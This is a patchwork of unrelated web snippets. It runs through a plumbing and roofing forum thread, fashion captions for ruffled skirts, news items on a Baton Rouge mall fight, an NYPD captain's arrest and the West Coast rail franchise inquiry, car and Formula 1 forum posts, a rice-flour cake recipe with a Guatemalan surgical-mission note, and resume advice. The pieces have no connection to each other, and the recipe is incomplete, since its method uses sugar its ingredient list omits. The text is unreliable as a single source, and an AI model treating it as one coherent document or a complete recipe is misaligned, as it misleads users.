Cast stack is all rusty below a certain joint,shiny black above,,might be leaking,(it is cocked at a weird angle) plus some yahoo didnt block off a old washer drain and IT backs up and dumps in crawl space as evidence proves. Dunno how the gas smell didnt get bad,it is trapped, but that has to dry out to. Bathtub is worst,,,galvanized and cast,,,probably gunked 90 % shut,,,hard to tell. Cleanout rusted badly. NO chance of ever adding house footage or second story!!!
Just thought I could clean up this potential problem pretty cheap and easy. one story house with walls removed now anyway,3' or less in attic to go also!! So looking at UNDER 20 feet all total of 3 or 4 " and 10 feet of 2"
someone pointed out on here that with all the water saving devices available, toilets, showers, etc, that the four inch is too big diameter, or at the very least, it will lead to more blockage because of less volume water in the pipe.
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thats what I heard also. In rethinking this 4' to the stool is only horizontal pipe of 3 or 4 " ,,,all other is straight up and down where 3" doesnt look to be a problem at all!! I am SURE the top portion sticking out the end ,of the roof is 3",,,seems 3" can suck all the air it needs,,,right?? I always thought it helps keep birds and squirrels out of climbing down inside too,,,those old 6" cast staks out roof was a nesting spot for every bird in the county
Whats disturbing is I saw the rubber boot over the pipe deteroriated faster than the shingles did and is leaking badly,,,Is there a better brand of rubber boot for roofs??And cheapo brands?? (its on a temporary duct tape seal till roofing weather). going to change vents of that attic while reroofing!!Will boots last longer then?? Whole house,,600 square feet,, has small gable vent only,,in each end!! Going to switch to continous soffit vent with ridge vent on roof
Maybe be better to ask the roofers about the boot. I've seen them covered differently when shingleing. I figure if the shingle is over it, it would be better but I have no proof on that. My son's house, came with not too old a roof, must of leaked around the vent because there is alot of goop all over its base. I didn't care for the ones I seen at hd last I looked, although I got one there a few years ago when I did my roof over that seemed stronger that what is there now.
I meant the rubber part of the boot
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Could this skirt get any cuter?!!! I think not!
So pretty for spring!
Have you seen Juicy Couture's new line, Bird? I'm already addicted. This lovely ruffled skirt is my favorite item from the new collection. LUV IT.
This dress is inspired by a portrait of Madame de pompadour. It's mint green satin robe is decorated in a whimsical style, with light dotted tulle ruffles, rococo braids and pretty pink ribbons. Detachable details make it a versat... This dress is inspired by a portrait of Madame de pompadour. It's mint green satin robe is decorated in a whimsical style, with light dotted tulle ruffles, rococo braids and pretty pink ribbons. Detachable details make it a versatile dress, and can be worn over a variety of skirts when you need a different look! For more casual days, the elegant satin "petticoat" can be worn alone with your favorite tops! This one of a kind dress hand made by our designer features a "robe" (over dress) "petticoat" (Visible underskirt), removable corsage, bows and ruffle choker
So adorable, I love the ruffles and the materials and the length...I feel like this skirt is can be super versatile, I love it.Added 8 Years Ago from Urban Outfitters
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Probably the only ruffly tiered thing I'd wear, and I love it. The neutrals make it so classy and appropriate for the streets of any city.
This Dolce & Gabbana skirt is kuh-ute. I love the so-not-subtle detail at the bottom- ruffles are brilliant :)
Ruffles are done tastefully and elegantly in this knit skirt brought to you courtesy of Abaete. You could wear this to the office with a simple blousy, or go all out and be a complete bombshell.Tags: fashion, style, skirts, ruffles, shopbop, pencil skirts, Abaete, work attireAdded 9 Years Ago from ShopBop
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Whether you're a pirate or a pixie, a cuter design than this would be unfathomable. Luscious forest green velvet and shiny ruffles will make you stand out! So cute!
the ra ra cheerleader shape is totally girly while the rich black shade is all sexpot.Added 9 Years Ago from Charlotterusse
this ruffle skirt is very couture. good for work or play.Added 9 Years Ago from Valleygirl
this skirt will be great to wear to holiday parties. comes in silver and bronze.Added 9 Years Ago from Forever 21
i loooove the skirted bottom of this coat. i'm also very into the purple color.
beckerman is a new line that celebs like agyness deyn love. this is a really cute frilly skirt.
very pretty winter floral in a very print tiered chiffon. and it's on sale! get it fast.Added 9 Years Ago from Forever 21
style setter alexa chung recently wore this luella skirt. she belted it so it had a cool paperbag look.Added 9 Years Ago from La Garconne
tweed and lace make an interesting combination. this skirt feels very pocahontas to me.
tiered satin leopard print mini skirt. this dress is nothing but fun. wear with booties for a fun night out dancing.
This sweet little cocktail dress gives the illusion of separates, but Milly has done the dirty work for you and combined a ruffly floral tank with a black skirt for the ultimate fall look.Added 9 Years Ago from Saks Fifth Avenue
for something so grey, this skirt is oddly fun.
both star prints and tiered skirts are really in right now, but i think this might be overkill?
Rock this skirt like Madonna pre-Kabbalah!
tiered skirts are everywhere right now. this is one of the best i've seen.
i'd like this better without the tight hem, but it's still pretty cute.


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BATON ROUGE- East Baton Rouge Parish Sheriff's Deputies closed and evacuated the Mall of Louisiana tonight after a large fight broke out this evening.
It happened around 6:00pm near the food court. Deputies say at least 200 juveniles dispersed inside and outside the mall.
The chaos sent people inside running for cover. People told News 2, managers shut and locked security gates that line the perimeter of stores and pushed customers into the back of the stores.
Officials are working to clear the entire area right now. All of the juveniles are being escorted to BJ's and Bravo Restaurants where their parents are being called to pick them up.
Deputies have been told that there was reportedly a post on social media about a flash mob at the mall allegedly drawing a crowd to the area.
Contraflow has been put into place to get everyone away from the area.
No one was seriously hurt.
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Anyone know where I can get a shaker style hood scoop. I would like to try to adapt it to an early s-10 chevy with a small bock and Holley carb.
www.mustangsunlimited.com has them for 69 Cobra Jet Mustangs.
I would check ebay too.. lots of old mustang parts and mustangs selling
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I'd rather see them race.
From the team's point of view, probably. Although there are arguments that if MW had overtaken SV, the team's haul would have been the same and the situation of MW would have been stronger without much of an effect on SV.
From a fans point of view however, a definite NO.
From a moral point of view, if CH hadn't have got o high and mighty after last years German GP, it might have gone un-noticed.


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(Christopher Robbins) An NYPD Captain and graduate of Harvard Kennedy School of Government was arrested early this morning for assault and harassment. According to police, Captain Daniel Sosnowik was arrested around 5:30 a.m. in Brooklyn's 63rd Precinct, which abuts East Flatbush and covers Marine Park, Mill Basin and Bergen Beach. An NYPD spokeswoman declined to provide an address or details on Sosnowik's arrest, but the New York Post is reportingthat Sosnowik "attacked his wife."
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The independent report into the West Coast rail franchise fiasco was altered by the Department for Transport (DfT) before it was published, MPs were told today.
There had been "redactions" by the department to "remove the identities" of certain civil servants involved in the flawed franchise bidding process, said businessman Sam Laidlaw, the author of the report.
He also told the House of Commons Transport Committee that no proper minutes were taken of a key meeting in the franchise process that saw Sir Richard Branson's rail company Virgin Trains lose its West Coast franchise.
It was only when Sir Richard legally challenged the decision to award a new 13-year West Coast franchise to rival company FirstGroup that DfT flaws in the bidding process were found.
Transport Secretary Patrick McLoughlin scrapped the franchise result and appointed Centrica chief executive Mr Laidlaw to head an independent inquiry.
Three DfT civil servants were suspended. They are now back at work.
The faults in the bidding process centred on flawed and inconsistent methodology when guiding bidders on the amount of risk capital - known as the subordinated loan facility (SLF) - they would have to guarantee.
Today, Mr Laidlaw told the committee he had presented his report to the DfT on November 28 and the department had published it on December 6.
He said there had been redactions to his report made by the department and that these were "a matter for the department".
Asked about the changes made, Mr Laidlaw said they were done "to protect the commercial confidentiality of bidders" and "to remove the identity of certain individuals".
The committee's chair Louise Ellman (Lab: Liverpool Riverside) said: "This is pretty serious."
She said that a name redacted was the person who it was believed had given incorrect advice about the SLF.
Mrs Ellman asked if the meeting where Mr Laidlaw had mentioned a lack of minutes being taken was the one during which the person whose name had been redacted had given incorrect SLF advice.
He replied: "Yes."
Talking about that particular meeting, Mr Laidlaw said there had been "a variety of recollections" of what happened from those attending.
The minutes had not been clear and an initial short draft of minutes had been replaced by an even shorter draft, he said.
"It was not entirely clear about what happened at that meeting and why decisions were taken," he added.
In his report and also in his evidence to the MPs today, Mr Laidlaw was critical of the fact that the West Coast bidding process was mainly conducted by a relatively junior DfT team.
This meant that when transport ministers were briefed by senior civil servants about the bidding, the ministers were "in a sense talking to the wrong people", Mr Laidlaw said.
He said ministers had looked at the franchise "extremely carefully and cautiously".
But he went on: "The people they (the ministers) were asking the questions of were themselves misinformed."
Mr Laidlaw's inquiry team had looked into a suggestion that the DfT had had an "anti-Branson bias" in considering the bidding.
His report said he had found no evidence of any bias. But he did say that this could not be a "completely conclusive conclusion" as his inquiry had not seen the entire set of emails involved, nor interviewed absolutely everyone in the department.
Doing all that would have taken a long time and it was better for taxpayers if a "short, sharp inquiry" was conducted, Mr Laidlaw said.
The DfT had used codenames for the bidders as it was thought an anonymity approach was best.
Mr Laidlaw said that from the evidence he had taken there were those who would have "generally determined at some stage in the process which bidder was which".
Mrs Ellman said Mr Laidlaw's report suggested there was a "culture of fear" at the DfT.
Mr Laidlaw replied that there was certainly a culture in which junior staff felt inhibited at raising issues with senior colleagues.
The scrapping of the bidding is set to cost taxpayers at least £55 million, with Virgin, under a new agreement, carrying on running the West Coast line until November 2014.
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1/2 lb queso fresco or cream cheese
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1 cup cream
4 eggs
3 cups rice flour
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In a large mixing bowl, mix the cheeses together, add the cream and mix, then add the eggs and mix well. Mix in alternately cups of flour and sugar. Bake in a greased 2x12x8 inch or larger baking pan for 35 minutes at 350 degrees. Cake should be golden brown on the bottom while the top will remain pale. This cake is heavy and filling due to the rice flour. We served it with strawberries and whipped cream. Makes 12 servings.
Next week we will return to recipes closer to home. But this week I will continue on our Guatemala experience.
Every year when we go to Guatemala, our plastic surgeons repair children who have had the misfortune of being born with a cleft lip or palate. In developing countries, there seem to be more instances with this anomaly, and it is thought to be because of genetic and nutritional factors.
This year we had this little boy who came to us with a cleft lip. Think of how this repair will change his life.
No matter what the cause is, these children are usually ostracized and humiliated. With this surgical repair, children are able to eat normal and to appear normal. We are so blessed to have the plastic surgeons and surgical teams who give of their time to go help these children.


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Words to Avoid on Your Resume
When you consider that each hiring manager sees hundreds, if not thousands, of resumes a year, you have to take into account that some wording will lose its impact and meaning when used repeatedly by countless individuals.
A recent article in PR Daily News focused on problematic words and phrases. The article quoted a survey developed by Office Team, which places highly skilled administrative professionals. More than 1300 senior managers were surveyed in the US and Canada. Their consensus?
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Words You Shouldn't Use
- Highly Qualified. That's not a fact, it's an opinion. Your opinion. However, the hiring manager or recruiter doesn't know you at all, so this phrase has no meaning to them. It's better to state what you did to be considered highly qualified. In other words, let a quantified achievement speak for you.
- Hard Worker. That's a given if you want a job in this economy. No one's going to hire a slacker. If anything, companies are expecting more and more from their employees. Again, show don't tell. Prove you're a hard worker by writing something like "Assumed responsibility for three departments during downsizing, increasing direct reports from 11 to 21." That speaks volumes.
- Team Player. Always assumed unless your job demands that you work independently from others. Those jobs are few and far between. Prove that you can be a part of the team by listing activities in which you played a role, rather than directed other staff members.
- Problem Solver. You may believe that sounds dynamic. A hiring manager will consider it self-serving. What problem did you solve? What was the result? Did you save your company money? Make it money? The answers to those questions excite hiring managers.
- Flexible. In what way? Unless you offer specifics, one can only guess. If your company has experienced rapid change – either downsizing or a growth spurt and you were available to keep everything running smoothly, that's what you should list in your resume. Always be specific.
- People Person. Do you mean you can liaise with members of different departments? You can calm angry or disappointed clients? You're the go-to person when communication has broken down? Give examples of that, rather than employing this overused phrase.
- Self-starter. Once more, results are what matter. Did you organize the filing system, without being told, thus reducing wasted time? Did you discover a better route for drivers at your company that saved gas? Were you instrumental in finding new leads for a product the company is trying to promote? Those kind of specifics should be on your resume.
Quantified Results Win Interviews
The only thing you have to offer to an employer are results of your past efforts. Opinions don't count. Meaningless and overused phrases don't matter. When you quantify what you've done and prove that you've helped your last company succeed, that will gain you an interview faster than any single factor.
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